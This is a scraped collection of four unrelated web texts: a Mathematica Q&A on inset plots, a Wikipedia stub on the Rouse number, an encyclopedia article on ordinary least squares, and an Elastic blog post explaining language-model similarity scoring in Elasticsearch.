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https://mathematica.stackexchange.com/questions/14556/how-to-insert-a-plot-into-another-plot | [
"# How to insert a plot into another plot\n\nI would like to know whether there is a way to insert a plot into another plot. I would like to do some plot from a function an then, inside this plot, in the right down corner add a smaller plot of the same function covering a smaller region. I tried with Epilog but it's not possible that way, it gives me a fail\n\n...or do it dynamically so you can position the inset where you like it:\n\nDynamicModule[{pt = Scaled[{0.5, 0.5}]},\n\nPlot[Sin[x], {x, 0, 2 Pi},\nPlotRange -> All,\nEpilog -> {Dynamic[\nLocator[Dynamic[pt],\nPlot[Cos[x], {x, 0, 2 Pi}, Background -> White,\nImageSize -> 150]]]}]]",
null,
"• 1+ I liked this Dynamic tip! Cool! – Murta Nov 14 '12 at 13:53\n• That is pretty nice, but is there a method by which you can read the coordinates after you are done with placing? – Daniele Binosi Aug 2 '18 at 14:16\n• After running in version 12.1.1, your code outputs the following error message: \"Raw object \\!(*FormBox[\\\"x\\\", TraditionalForm]) cannot be used as \\ an iterator.\" – A little mouse on the pampas Aug 13 at 4:26\n\nYou can use Inset for this\n\nBuilding a new Graphics\n\ngr1 = Plot[Sin[x]^2, {x, 0, 6 Pi}];\ngr2 = Plot[Sin[x]^2, {x, 0, Pi}];\n\nGraphics[{First[gr1], Inset[gr2, {15, -.6}, Automatic, Scaled[.4]]},\nPlotRange -> {Automatic, {-1, 1}}, AbsoluteOptions[gr1]]",
null,
"Using Epilog\n\nPlot[Sin[x]^2, {x, 0, 6 Pi}, PlotRange -> {Automatic, {-1, 1}},\nEpilog -> {Inset[gr2, {15, -.6}, Automatic, Scaled[.4]]}]\n\n• Ha Yep, question solved! That's what I was looking for! And with Background->White option it covers the old plot if necessary! Thanks a lot! – pablo Nov 14 '12 at 10:02\n• For some reason, this method doesn't work on Mathematica 10.0.1! – Mahdi Mar 17 '15 at 22:57\n• @Mahdi It works for me. – halirutan Mar 17 '15 at 23:05\n• @halirutan: Probably related to this. I'm getting Axes::axes: \"{{False,False},{False,False}} is not a valid axis specification. \" and Ticks::ticks: \"{Automatic,Automatic} is not a valid tick specification.\" using under Linux 64-bit. – Mahdi Mar 17 '15 at 23:12\n\nYou mean something like this?\n\np1 = Plot[Sin[x], {x, 0, 2 π}];\np2 = Plot[Sin[x], {x, 0, π}];\n\nShow[Graphics[{Rectangle[{0, 0}, {1, 1}, p1],\nRectangle[{0.7, 0.4}, {1, 1}, p2]}]]",
null,
"• This was how it was done before Inset[] came along... – J. M.'s discontentment Nov 14 '12 at 9:56\n• @J.M. Ha, it means that it is a long time that I didn't have the need to do something like this. – VLC Nov 14 '12 at 9:57\n• (+1) very nice. I don't think i have seen this syntax before; any references? – kglr Nov 14 '12 at 10:02\n• @kguler, it was documented in old versions; apparently, when Inset[] became available in version 6, that piece of syntax was quietly redacted. – J. M.'s discontentment Nov 14 '12 at 10:28\n• This is really helpful because Inset[] does not allow you to specify positions (at least I didn't figure out) in terms of the corners of the figure. It is difficult to know the center position but the end-points are easy to know. – preeti Sep 19 '13 at 0:33\n\nIn addition to Inset etc., you can do this manually with the 2D Graphics editing tools.\n\nFirst producing plots as halirutan did:\n\np1 = Plot[Sin[x], {x, 0, 2 π}]\np2 = Plot[Sin[x], {x, 0, π}]",
null,
"Click the first one to select it (orange border):",
null,
"Then Copy or Cut the object.\n\nNext, double-click the second graphic to enter editing mode (gray border):",
null,
"And Paste the first graphic:",
null,
"You can then position and resize the inset graphic using the orange frame.\nWhen you are done just click outside of the main gray frame.\n\n• Even easier, thanks a lot! – pablo Nov 14 '12 at 11:25\n• This is a good solution, but in the end I would like to have a code from where I can re-run if I want those specifications again. Any simple way of retrieving that information? – Jorge Leitao Dec 27 '12 at 13:37\n• @J.C.Leitão Sorry, I never saw your comment. I can't think of anything practical but that could be a good question; why don't you post it? (If you haven't done so already in the long time since you asked this.) – Mr.Wizard Aug 14 '13 at 22:54\n• hahah I love this one because of the simplicity, though it won't show any useful technique . – Ying Zhang Aug 13 at 3:14"
] | [
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"https://i.stack.imgur.com/iDKbx.jpg",
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"https://i.stack.imgur.com/JotAi.png",
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"https://i.stack.imgur.com/dTpMA.png",
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"https://i.stack.imgur.com/oSLjf.png",
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"https://i.stack.imgur.com/eqMw5.png",
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"https://i.stack.imgur.com/dR7Sr.png",
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"https://i.stack.imgur.com/4AidH.png",
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https://en.m.wikipedia.org/wiki/Rouse_number | [
"# Rouse number\n\nThe Rouse number (P or Z) is a non-dimensional number in fluid dynamics which is used to define a concentration profile of suspended sediment and which also determines how sediment will be transported in a flowing fluid. It is a ratio between the sediment fall velocity $w_{s}$",
null,
"and the upwards velocity on the grain as a product of the von Kármán constant $\\kappa$",
null,
"and the shear velocity $u_{*}$",
null,
".\n\n$\\mathrm {P} ={\\frac {w_{s}}{\\kappa u_{*}}}$",
null,
"Occasionally the factor β is included before the von Kármán constant in the equation, which is a constant which correlates eddy viscosity to eddy diffusivity. This is generally taken to be equal to 1, and therefore is ignored in actual calculation. However, it should not be ignored when considering the full equation.\n\n$\\mathrm {P} ={\\frac {w_{s}}{\\beta \\kappa u_{*}}}$",
null,
"It is named after the American fluid dynamicist Hunter Rouse. It is a characteristic scale parameter in the Rouse Profile of suspended sediment concentration with depth in a flowing fluid. The concentration of suspended sediment with depth goes as the power of the negative Rouse number. It also is used to determine how the particles will move in the fluid. The required Rouse numbers for transport as bed load, suspended load, and wash load, are given below.\n\nMode of Transport Rouse Number"
] | [
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"https://wikimedia.org/api/rest_v1/media/math/render/svg/7b7ca5570145467b270c093b1cb4c31c04868a6a",
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"https://wikimedia.org/api/rest_v1/media/math/render/svg/54ddec2e922c5caea4e47d04feef86e782dc8e6d",
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"https://wikimedia.org/api/rest_v1/media/math/render/svg/53f06376827f0e844992e08986763b37f6f771d6",
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"https://wikimedia.org/api/rest_v1/media/math/render/svg/0aaedde614d17d3076200ed600b9957629a7549d",
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"https://wikimedia.org/api/rest_v1/media/math/render/svg/de2f1b03c608fada001de41c25554edf864220a0",
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https://www.encyclopedia.com/social-sciences/applied-and-social-sciences-magazines/least-squares-ordinary | [
"views updated\n\n# Least Squares, Ordinary\n\nDISCOVERY OF THE METHOD\n\nCURRENT USES\n\nBIBLIOGRAPHY\n\nOrdinary least squares (OLS) is a method for fitting lines or curves to observed data in situations where one variable (the response variable) is believed to be explained or caused by one or more other explanatory variables. OLS is most commonly used to estimate the parameters of linear regression models of the form\n\nThe subscripts i index observations; εi is a random variable with zero expected value (i.e., E (εi ) = 0, for all observations i = 1, , n ); and the functions g 1(), , gk () are known. The right-hand side explanatory variables Z i 2 , ZiK are assumed to be exogenous and to cause the dependent, endogenous left-hand side response variable Yi. The β1, , βK are unknown parameters, and hence must be estimated. Setting X ij = gj (Zij ) for all j = 1, , K and i = 1, , n, the model in (1) can be written as\n\nThe random error term εi represents statistical noise due to measurement error in the dependent variable, unexplained variation due to random variation, or perhaps the omission of some explanatory variables from the model.\n\nIn the context of OLS estimation, an important feature of the models in (1) and (2) is that they are linear in parameters. Since the functions gj () are known, it does not matter whether these functions are linear or nonlinear. Given n observations on the variables Yi and Xij, the OLS method involves fitting a line (in the case where K = 2), a plane (for K = 3), or a hyperplane (when K > 3) to the data that describes the average, expected value of the response variable for given values of the explanatory variables. With OLS, this is done using a particular criterion as shown below, although other methods use different criteria.\n\nAn estimator is a random variable whose realizations are regarded as estimates of some parameter of interest. Replacing the unknown parameters β1, , βK and errors εi in (2) with estimators β̂1, , β̂K and ̂ yields\n\nThe relation in (2) is called the population regression function, whereas the relation in (3) is called the sample regression function. The population regression function describes the unobserved, true relationship between the explanatory variables and the response variable that is to be estimated. The sample regression function is an estimator of the population regression function.\n\nRearranging terms in (3), the residual ̂i can be expressed as\n\nThe OLS estimators β̂1, , β̂K of the parameters β1, , βK in (2) are obtained by minimizing the error sum-of-squares\n\nwith respect to β̂1, , β̂K. Hence the OLS estimator of the population regression function (2) minimizes the sum of squared residuals, which are the squared distances (in the direction of the Y-axis) between each observed value Yi and the sample regression function given by (3).\n\nBy minimizing the sum of squared residuals, disproportionate weight may be given to observations that are outliersthat is, those that are atypical and that lie apart from the majority of observations. An alternative approach is to minimize the sum\n\nof absolute deviations; the resulting estimator is called the least absolute deviations (LAD) estimator. Although this estimator has some attractive properties, it requires linear programming methods for computation, and the estimator is biased in small samples.\n\nTo illustrate, first consider the simple case where K = 1. Then equation (2) becomes\n\nIn this simple model, random variables Yi are random deviations (to the left or to the right) away from the constant β1. The error-sum-of-squares in (5) becomes\n\nThis can be minimized by differentiating with respect to β̂1 and setting the derivative equal to 0; that is,\n\nand then solving forβ̂1 to obtain\n\nIn this simple model, therefore, the OLS estimator of β1 is merely the sample mean of the Yi. Given a set of n observations on Yi, these values can be used to compute an OLS estimate of β1 by simply adding them and then dividing the sum by n.\n\nIn the slightly more complicated case where K = 2, the population regression function (2) becomes\n\nMinimizing the error sum of squares in this model yields OLS estimators\n\nand\n\nwhere x̄ 2 and ȳ are the sample means of X i 2 and Yi, respectively\n\nIn the more general case where K > 2, it is useful to think of the model in (2) as a system of equations, such as:\n\nThis can be written in matrix form as\n\nwhere Y is an (n × 1) matrix containing elements Yi, , Yn ; X is an (n Y K ) matrix with element Xij in the i -th row, j -th column (elements in the first column of X are equal to 1); β is a (K × 1) matrix containing the unknown parameters β1, , βk; and ε is an (n × 1) matrix containing the random variables ε 1, , n. Minimizing the error-sum-of-squares yields the OLS estimator\n\nThis is a (K × 1) matrix containing elements β̂1, , β̂K . In modern software, β̂ is computed by inverting the (K × K) matrix XX using the Q-R decomposition. The OLS estimator can always be computed, unless XX is singular, which happens when there is an exact linear relationship among any of the columns of the matrix X.\n\nThe Gauss-Markov theorem establishes that provided\n\ni. the relationship between Y and X is linear as described by (10);\n\nii. the elements of X are fixed, nonstochastic, and there exists no exact linear relationship among the columns of X; and\n\niii. E (ε) = 0 and E( ) = σ2 I,\n\nthe OLS estimator β̂ is the best (in the sense of minimum variance) linear, unbiased estimator of β. Modified versions of the OLS estimator (e.g., weighted least squares, feasible generalized least squares) can be used when data do not conform to the assumptions given above.\n\nThe variance-covariance matrix of the OLS estimator given in (11) is σ2 (XX )-1, a (K × K) matrix whose diagonal elements give the variances of the K elements of the vector β̂, and whose off-diagonal elements give the corresponding covariances among the elements of β̂. This matrix can be estimated by replacing the unknown variance of ε, namely σ2, with the estimator σ̂2 = ̂'̂/(n K ). The estimated variances and covariances can then be used for hypothesis testing.\n\n## DISCOVERY OF THE METHOD\n\nRobin L. Plackett (1972) and Stephen M. Stigler (1981) describe the debate that exists over who discovered the OLS method. The first publication to describe the method was Adriene Marie Legendres Nouvelles méthodes pour la détermination des orbites des comètes in 1806 (the term least squares comes from the French words moindres quarrés in the title of an appendix to Legendres book), followed by publications by Robert Adrain (1808) and Carl Friedrich Gauss ( 2004). However, Gauss made several claims that he developed the method as early as 1794 or 1795; Stigler discusses evidence that supports these claims in his article Gauss and the Invention of Least Squares (1981).\n\nBoth Legendre and Gauss considered bivariate models such as the one given in (8), and they used OLS to predict the position of comets in their orbits about the sun using data from astronomical observations. Legendres approach was purely mathematical in the sense that he viewed the problem as one of solving for two unknowns in an overdetermined system of n equations. Gauss ( 2004) was the first to give a probabilistic interpretation to the least squares method. Gauss reasoned that for a sequence Y 1, , Yn of n independent random variables whose density functions satisfy certain conditions, if the sample mean\n\nis the most probable combination for all values of the random variables and each n 1, then for some σ2 > 0, the density function of the random variables is given by the normal, or Gaussian, density function\n\nIn the nineteenth century, this was known as the law of errors. This argument led Gauss to consider the regression equation as containing independent, normally distributed error terms.\n\nThe least squares method quickly gained widespread acceptance. At the beginning of the twentieth century, Karl Pearson remarked in his article in Biometrika (1902, p. 266) that it is usually taken for granted that the right method for determining the constants is the method of least squares. Beginning in the 1870s, the method was used in biological, genetic applications by Pearson, Francis Galton, George Udny Yule, and others. In his article Regression towards Mediocrity in Hereditary Stature (1886), Galton used the term regression to describe the tendency of the progeny of exceptional parents to be, on average, less exceptional than their parents, but today the term regression analysis has a rather different meaning.\n\nPearson provided substantial empirical support for Galtons notion of biological regression by looking at hereditary data on the color of horses and dogs and their offspring and the heights of fathers and their sons. Pearson worked in terms of correlation coefficients, implicitly assuming that the response and explanatory variables were jointly normally distributed. In a series of papers (1896, 1900, 1902, 1903a, 1903b), Pearson formalized and extended notions of correlation and regression from the bivariate model to multivariate models. Pearson began by considering, for the bivariate model, bivariate distributions for the explanatory and response variables. In the case of the bivariate normal distribution, the conditional expectation of Y can be derived in terms of a linear expression involving X, suggesting the model in (8). Similarly, by assuming that the response variable and several explanatory variables have a multivariate normal joint distribution, one can derive the expectation of the response variable, conditional on the explanatory variables, as a linear equation in the explanatory variables, suggesting the multivariate regression model in (2).\n\nPearsons approach, involving joint distributions for the response and explanatory variables, led him to argue in later papers that researchers should in some situations consider nonsymmetric joint distributions for response and explanatory variables, which could lead to nonlinear expressions for the conditional expectation of the response variable. These arguments had little influence; Pearson could not offer tangible examples because the joint normal distribution was the only joint distribution to have been characterized at that time. Today, however, there are several examples of bivariate joint distributions that lead to nonlinear regression curves, including the bivariate exponential and bivariate logistic distributions. Aris Spanos describes such examples in his book Probability Theory and Statistical Inference: Econometric Modeling with Observational Data (1999, chapter 7). Ronald A. Fisher (1922, 1925) later formulated the regression problem closer to Gausss characterization by assuming that only the conditional distribution of the response variable is normal, without requiring that the joint distribution be normal.\n\n## CURRENT USES\n\nToday, OLS and its variants are probably the most widely used statistical techniques. OLS is frequently used in the behavioral and social sciences as well as in biological and physical sciences. Even in situations where the relationship between dependent and explanatory variables is nonlinear, it is often possible to transform variables to arrive at a linear relationship. In other situations, assuming linearity may provide a reasonable approximation to nonlinear relationships over certain ranges of the data. The numerical difficulties faced by Gauss and Pearson in their day are now viewed as trivial given the increasing speed of modern computers. Computational problems are encountered, however, in problems with very large numbers of dimensions. Most of the problems that are encountered involve obtaining accurate solutions for the inverse matrix (XX )1 using computers with finite precision; care must be taken to ensure that solutions are not contaminated by round-off error. Åke Björck, in Numerical Methods for Least Squares Problems (1996), gives an extensive treatment of numerical issues involved with OLS.\n\nSEE ALSO Classical Statistical Analysis; Cliometrics; Econometric Decomposition; Galton, Francis; Ordinary Least Squares Regression; Pearson, Karl; Regression Analysis; Regression Towards the Mean; Statistics\n\n## BIBLIOGRAPHY\n\nAdrain, Robert. 1808. Research Concerning the Probabilities of the Errors Which Happen in Making Observations, &c. The Analyst, or Mathematical Museum 1: 93109.\n\nBjörck, Åke. 1996. Numerical Methods for Least Squares Problems. Philadelphia: SIAM.\n\nFisher, Ronald Aylmer. 1922. The Goodness of Fit of Regression Formulae and the Distribution of Regression Coefficients. Journal of the Royal Statistical Society 85 (4): 597612.\n\nFisher, Ronald Aylmer. 1925. Statistical Methods for Research Workers. Edinburgh: Oliver and Boyd.\n\nGalton, Francis. 1886. Regression towards Mediocrity in Hereditary Stature. Journal of the Anthropological Institute 15: 246263.\n\nGauss, Carl Friedrich. 2004. Theory of the Motion of the Heavenly Bodies Moving about the Sun in Conic Sections. Trans. Charles Henry Davis. Mineola, NY: Dover.\n\nGauss, Carl Friedrich. 18661933. Werke. 12 vols. Göttingen, Germany: Gedruckt in der Dieterichschen Universitätsdruckerei.\n\nLegendre, Adriene Marie. 1806. Nouvelles méthodes pour la détermination des orbites des comètes. Paris: Courcier.\n\nPearson, Karl. 1896. Contributions to the Mathematical Theory of Evolution III: Regression, Heredity, and Panmixia. Proceedings of the Royal Society of London 59: 6971.\n\nPearson, Karl. 1900. Contributions to the Mathematical Theory of Evolution VIII: On the Correlation of Characters Not Quantitatively Measurable. Proceedings of the Royal Society of London 66: 241244.\n\nPearson, Karl. 1902. On the Systematic Fitting of Curves to Observations and Measurements. Biometrika 1 (3): 265303.\n\nPearson, Karl. 1903a. Contributions to the Mathematical Theory of Evolution: On Homotyposis in Homologous but Differentiated Organs. Proceedings of the Royal Society of London 71: 288313.\n\nPearson, Karl. 1903b. The Law of Ancestral Heredity. Biometrika 2 (2): 211228.\n\nPlackett, Robin L. 1972. The Discovery of the Method of Least Squares. Biometrika 59 (2): 239251.\n\nSpanos, Aris. 1999. Probability Theory and Statistical Inference: Econometric Modeling with Observational Data. Cambridge, U.K.: Cambridge University Press.\n\nStigler, Stephen M. 1981. Gauss and the Invention of Least Squares. Annals of Statistics 9 (3): 465474.\n\nPaul W. Wilson"
] | [
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https://www.elastic.co/blog/language-models-in-elasticsearch | [
"Tech Topics\n\n# Language Models in Elasticsearch\n\n## Background\n\nElasticsearch provides various ways for users to define how matching documents will be scored. One of these ways is through the configurable similarity module. While the default scoring method in Elasticsearch is BM25, other alternative scoring methods, such as language models and divergence from randomness, have been widely researched and have demonstrated promising performance. This blog will present an introduction to one such alternative scoring method based on language modelling. We don't set a goal here to contrast various scoring methods (this will be a topic of future blogs), but rather present a theoretical foundation of the scoring method based on language models, as well as their practical usage in Elasticsearch.\n\n## 1. What is a language model?\n\nLanguage models have been widely used in the Natural Language Processing (NLP) field for speech recognition and generation tasks. A language model for a given string tells you the probability of a string to occur within a language. Given a language with a certain vocabulary, a language model represents the probability distribution of terms in the vocabulary [language_model].\n\nFor example, imagine, that I have a very simple language with the following vocabulary:\n\n elasticsearch kibana logstash beats x-pack\n\nThe language model for my language can have the following probability distribution, showing the probability of various vocabulary terms to occur:\n\n Language model: M elasticsearch 0.4 kibana 0.3 logstash 0.1 beats 0.1 x-pack 0.1\n\nThus, the probability of my language model M to generate the term \"elasticsearch\" is 0.4.\n\nThere are various types of language models. The most simple one (presented above) is the Unigram Language Model. The Unigram Language Model assumes that terms occur independently from each other. For our model, it would mean that \"elasticsearch\" occurring in a document doesn't influence the probability of \"kibana\" occurring in the same document. While this is not always true, and many terms tend to co-occur together, it is often good enough approximation for information retrieval purposes.\n\n## 2. Language modelling in Information Retrieval\n\nAn approach to use language modelling for documents retrieval is following. For every document in our collection we build a separate language model and rank documents by the likelihood of their respective language models to generate a given query [zhai_lafferty]. More precisely, we first build a separate language model for each document in the collection:\n\n doc1 -> Md1 doc2 -> Md2 … docn -> Mdn\n\nTo find the best matching documents for the given query q, for every document d in the collection, we estimate the likelihood of observing q in d. Or, in other words, we estimate what is the probability of the document's language model Md to generate q : P(q|Md). We then rank documents by these estimated probabilities. Notice how the original problem to know whether a document is relevant for a query, in the language modelling approach reverses to computing the probability that the query is extracted from the document.\n\nThe intuition behind this approach is as follows: When a user has an information need, she imagines what kind of documents will satisfy this need; she builds in her mind an imaginary model of these documents, visualizing what terms are representative of these documents. Based on these imaginary documents' models and their representative terms, the user formulates a query, predicting that this query should generate these documents. During the search time, we reverse the process. For each document, we estimate the probability that the user will use the query to find a document such as this one. In other words, what is the probability of this document model to generate the given query [manning, büttcher]?\n\n## 3. Estimating probabilities\n\nIf we have a query q consisting of a single term t, how can we calculate the probability of a document language model Md to generate t? The simplest way to estimate the probability is based on the counts of this term appearing in the document [manning, büttcher]:\n\n$$P(t | M_d) =\\frac{tf_{t,d}}{L_d} (1)$$\n\nt - a term in a query\nd - document\nMd - language model of a document\ntft,d - term frequency of term t in a document d, number of times t occurs in d\nLd - the length of document d - the total number of terms that d contains\nP(t| Md) - stands for probability of the term t given Md\n\nThus, the more often t appears in d, the higher is the probability that t can be used to retrieve d. Notice, that for terms not appearing in the document, this probability is 0.\n\nIf the query consists of several terms, we assume that terms are independent of each other (unigram model), and thus to calculate the probability for the whole query, we need to multiply the probabilities of individual terms:\n\n$$P(q | M_d) =\\prod_{t \\in q} P(t | M_d) = \\prod_{t \\in q} \\frac{tf_{t,d} }{L_d}(2)$$\n\nq - query, consisting of a single or several terms t\nΠ - stands for multiplication\n\nThe formula above is called Query Likelihood Model, as it estimates the likelihood of the query given the document, or how well the document d fits the particular query q [zhai_lafferty, query_likelihood_model].\n\nLet's have an example of calculating scores using the model of the formula (2) for the query q consisting of two terms \"desert\" \"people\" for the following collection of three documents:\n\nd1: \"This is the desert. There are no people in the desert. The Earth is large.\"\n\nd2: \"'Where are the people?' resumed the little prince at last. 'It's a little lonely in the desert…' ,' It is lonely when you're among people, too,' said the snake.\"\n\nd3: \" 'What makes the desert beautiful,' said the little prince, 'is that somewhere it hides a well' \"\n\nLet's start our score calculations. For document d1, we see tf(\"desert\") is 2 because there are 2 occurrences of the term, and Ld is 15 because d1 is 15 terms long. For the second term, tf(\"people\") is 1 for this document. So we multiply these together to get 0.0089:\n\n$$P(q | M_{d1}) = \\frac{2}{15} \\times \\frac{1}{15} = 0.0089$$\n\nSimilarly, for documents d2 and d3:\n\n$$P(q | M_{d2}) = \\frac{1}{28} \\times \\frac{2}{28} = 0.00255$$\n\n$$P(q | M_{d3}) = \\frac{1}{16} \\times \\frac{0}{16} = 0$$\n\nIf we rank our documents, document d1 with the highest scoring with be ranked the highest, and document d3 with the lowest scoring, the lowest.\n\n## 4. Smoothing Language Models\n\nNotice from the previous section how document d3 just because it doesn't have a single query term got a score of 0 (since we use multiplication of individual term scores). Documents are very sparsely represented and can't possibly contain all terms that could be used to query them. On the other hand, just because a document contains a certain term, doesn't mean that the document is about this term [manning]. This is the problem, as documents contain only limited amount of text, language models built from them, are not perfect. To improve the accuracy of these document models, we need to adjust them, or smooth them with a background model. The model for the whole collection of documents could serve as a good background model, as it contains much more documents than a single document.\n\nA general idea of smoothing is adjusting a document model Md based on the collection model Mc, making Md to be a little bit similar to Mc by bringing some mass from Mc to Md [manning]. This allows us to improve the accuracy of the model, as well as avoid zero probabilities for unseen words.\n\nWe do two things for smoothing adjustment:\n\n1. For terms that are not present in Md, we assign some probability, which will be fraction of that of Mc. This will prevent Md from generating zero probabilities for unseen words.\n2. For terms that are present in Md, we will combine both probabilities from Md and a fraction of Mc to discount the original probability from Md.This should improve the overall accuracy of the document model.\n\nThere are various ways to implement smoothing. The two well-performed methods that are also implemented in Lucene, and exposed in Elasticsearch are Jelinek Mercer smoothing and Dirichlet smoothing.\n\n## 4.1 Jelinek Mercer smoothing\n\nJelinek and Mercer proposed to linearly combine the probability of generating a term from a document with the probability of generating it from the collection using λ parameter.\n\n$$P(t | d) =(1- \\lambda) P(t | M_d) + \\lambda P(t | M_c) (3)$$\n\nλ - lambda, a value between (0,1]\nMd - language model of a document\nMc - a language model for the whole collection\n\nOr for the whole query:\n\n$$P(q | d) =\\prod_{t \\in q} ((1 - \\lambda) \\frac{tf_{t,d}}{L_d} + \\lambda \\frac{tf_t}{L_c}) (4)$$\n\nq - query, consisting of a single or several terms t\nt - a term in a query\nd - document\ntft,d - term frequency of term t in a document d, number of times t occurs in d\nLd - the length of document d - the total number of terms in d\nLc - the length of the collection c - the total number of terms in c\n\nThe choice of the λ parameter is important:\n\n• Choosing λ close to 1 means a bigger amount of smoothing. By increasing λ, we are increasing the importance of the collection model, and diminishing the importance of document model. This is a good choice for longer queries, as the behaviour will be similar to the disjunction of the query terms. Documents that contain fewer query terms may still get good scores.\n• Choosing λ close to 0 means a little amount of smoothing. This is a good choice for shorter queries, as the behaviour will similar to the conjunction of query terms. Here we are concerned with finding documents that contain the most query terms, and these documents will be ranked highest.\n\nIn practical information retrieval applications, it is common to use logarithms to calculate scores. If we follow this approach and take the logarithm of the formula (4), and do some transformations, we will get the formula (5), which is the way Jelinek-Mercer scoring is implemented in Lucene and Elasticsearch:\n\n$$P(q| d) = \\sum_{t \\in q} \\log(1 + \\frac{(1- \\lambda) M_d}{\\lambda M_c}) = \\sum_{t \\in q} \\log(1 + \\frac{(1- \\lambda) \\frac{tf_{t,d}}{L_d}}{\\lambda \\frac{tf_t + 1}{L_c + 1}}) (5)$$\n\nλ - default value is 0.1 in Elasticsearch.\n\nHere's an example of calculating scores using formula (5). We can use the same document collection and query as we used in Section 3:\n\nq: \"desert\" \"people\"\n\nd1: \"This is the desert. There are no people in the desert. The Earth is large.\"\n\nd2: \"'Where are the people?' resumed the little prince at last. 'It's a little lonely in the desert…' ,' It is lonely when you're among people, too,' said the snake.\"\n\nd3: \" 'What makes the desert beautiful,' said the little prince, 'is that somewhere it hides a well' \"\n\nλ : 0.1\ntf(\"desert\"): 4, total number of occurence of \"desert\" in the collection across all documents\ntf(\"people\"): 3, total number of occurence of \"people\" in the collection across all documents\nLc : 59, total number of tokens in collection\nMc(\"desert\") = (4 + 1) / (59 + 1) = 5/60\nMc(\"people\") = (3 + 1) / (59 + 1) = 4/60\n\n$$P(q | M_{d1}) = \\log(1 + \\frac{0.9 * \\frac{2}{15}}{0.1 * \\frac{5}{60}} ) + \\log(1 + \\frac{0.9 * \\frac{1}{15}}{0.1 * \\frac{4}{60}} ) = 2.7343674 + 2.302585 = 5.036952$$\n\n$$P(q | M_{d2}) = \\log(1 + \\frac{0.9 * \\frac{1}{28}}{0.1 * \\frac{5}{60}} ) + \\log(1 + \\frac{0.9 * \\frac{2}{28}}{0.1 * \\frac{4}{60}} ) = 1.5804503 + 2.364889 = 3.9453392$$\n\n$$P(q | M_{d3}) = \\log(1 + \\frac{0.9 * \\frac{1}{16}}{0.1 * \\frac{5}{60}} ) + \\log(1 + \\frac{0.9 * \\frac{0}{16}}{0.1 * \\frac{4}{60}} ) = 2.0476928 + 0 = 2.0476928$$\n\nNotice, how unlike the traditional definition of a smoothed language model, the term \"people\" for document d3 will still get a score 0. In fact, Lucene will not even calculate the score for this term for this document, as the posting list of the term \"people\" will not contain d3.\n\n## 4.2 Dirichlet smoothing\n\nThe intuition behind the Dirichlet smoothing is that we added μ terms to each document in the collection and distributed them according to the statistics of the collection [büttcher]. For example, if μ = 1000, we will add 50.85 terms of \"people\" (1000 * 3/59) to the document d3 from the previous section. With this and other terms, the length of document d3 will be increased by 1000. Of course, in reality, we are not going to add any terms to any document, we just use this intuition for calculating probability distribution using the following formula:\n\n$$P(t | d) = \\frac{tf_{t,d} + \\mu P(t | M_c)}{L_d + \\mu} (6)$$\n\nμ - mu, a value > 0\ntft,d - term frequency of term t in a document d, number of times t occurs in d\nLd - the length of document d - the total number of terms in d\nMc - a language model for the whole collection\n\nThe choice of μ should depend on the length of a document. The longer the document, the higher value of μ should be to fill the impact.\n\nμ - default value is 2000 in Lucene and Elasticsearch.\n\n## 5. Full example in Elasticsearch\n\nLet's look at an example how to use Language Model Similarity in Elasticsearch. We will use Elasticsearch version 6.2.3, which uses Lucene version 7.2.1, but this should work with any version of Elasticsearch that supports LMJelinekMercer similarity. Let's create an index with the Jelinek-Mercer similarity:\n\nPUT /my_index\n{\n\"settings\" : {\n\"index\" : {\n\"similarity\" : {\n\"my_similarity\" : {\n\"type\" : \"LMJelinekMercer\",\n\"lambda\" : 0.1\n}\n}\n},\n\"number_of_shards\": 1\n},\n\"mappings\": {\n\"doc\": {\n\"properties\": {\n\"my_text\" : {\n\"type\" : \"text\",\n\"similarity\" : \"my_similarity\"\n}\n}\n}\n}\n}\n\n\nPut some documents into it:\n\n\nPUT my_index/doc/1\n{\n\"my_text\": \"This is the desert. There are no people in the desert. The Earth is large.\"\n}\nPUT my_index/doc/2\n{\n\"my_text\": \"'Where are the people?' resumed the little prince at last. 'It's a little lonely in the desert…' ,' It is lonely when you're among people, too,' said the snake.\"\n}\nPUT my_index/doc/3\n{\n\"my_text\": \" 'What makes the desert beautiful,' said the little prince, 'is that somewhere it hides a well' \"\n}\n\n\nNow, let's run search request with explanation of the query scores:\n\nGET my_index/_search\n{\n\"query\": {\n\"match\" : {\n\"my_text\" : \"desert people\"\n}\n},\n\"explain\": true\n}\n\n\nBelow is the display of the score of the first document. Notice the \"collection probability\" value in the explanation of scores. This value will be combined with the document probability in the calculation of the final score in the way we showed in the Section 4.1.\n\n\"hits\": [\n{\n\"_shard\": \"[my_index]\",\n\"_node\": \"hNw0go7pSfK6uXr-frGVuw\",\n\"_index\": \"my_index\",\n\"_type\": \"doc\",\n\"_id\": \"1\",\n\"_score\": 5.036952,\n\"_source\": {\n\"my_text\": \"This is the desert. There are no people in the desert. The Earth is large.\"\n},\n\"_explanation\": {\n\"value\": 5.036952,\n\"description\": \"sum of:\",\n\"details\": [\n{\n\"value\": 2.7343674,\n\"description\": \"weight(my_text:desert in 0) [PerFieldSimilarity], result of:\",\n\"details\": [\n{\n\"value\": 2.7343674,\n\"description\": \"score(LMJelinekMercerSimilarity, doc=0, freq=2.0), computed from:\",\n\"details\": [\n{\n\"value\": 0.1,\n\"description\": \"lambda\",\n\"details\": []\n},\n{\n\"value\": 0.083333336,\n\"description\": \"collection probability\",\n\"details\": []\n}\n]\n}\n]\n},\n{\n\"value\": 2.302585,\n\"description\": \"weight(my_text:people in 0) [PerFieldSimilarity], result of:\",\n\"details\": [\n{\n\"value\": 2.302585,\n\"description\": \"score(LMJelinekMercerSimilarity, doc=0, freq=1.0), computed from:\",\n\"details\": [\n{\n\"value\": 0.1,\n\"description\": \"lambda\",\n\"details\": []\n},\n{\n\"value\": 0.06666667,\n\"description\": \"collection probability\",\n\"details\": []\n}\n]\n}\n]\n}\n]\n}\n}\n....\n\n\nThis concludes this introductory blog on language modelling. In the future blogs, we plan to expand on this by contrasting various scoring methods: probabilistic models versus language models versus divergence from randomness etc.\n\n## 6. References\n\n• [language_model]: https://en.wikipedia.org/wiki/Language_model\n• [zhai_lafferty]: Chengxiang Zhai and John Lafferty. 2001. A study of smoothing methods for language models applied to Ad Hoc information retrieval. In Proceedings of the 24th annual international ACM SIGIR conference on Research and development in information retrieval (SIGIR '01). ACM, New York, NY, USA, 334-342.\n• [manning]: Christopher D. Manning, Prabhakar Raghavan, Hinrich Schütze: An Introduction to Information Retrieval, pages 237–240. Cambridge University Press, 2009\n• [büttcher]: Büttcher, Stefan, Charles LA Clarke, and Gordon V. Cormack. Information retrieval: Implementing and evaluating search engines, pages 286-298, Mit Press, 2016.\n• [query_likelihood_model]: https://en.wikipedia.org/wiki/Query_likelihood_model"
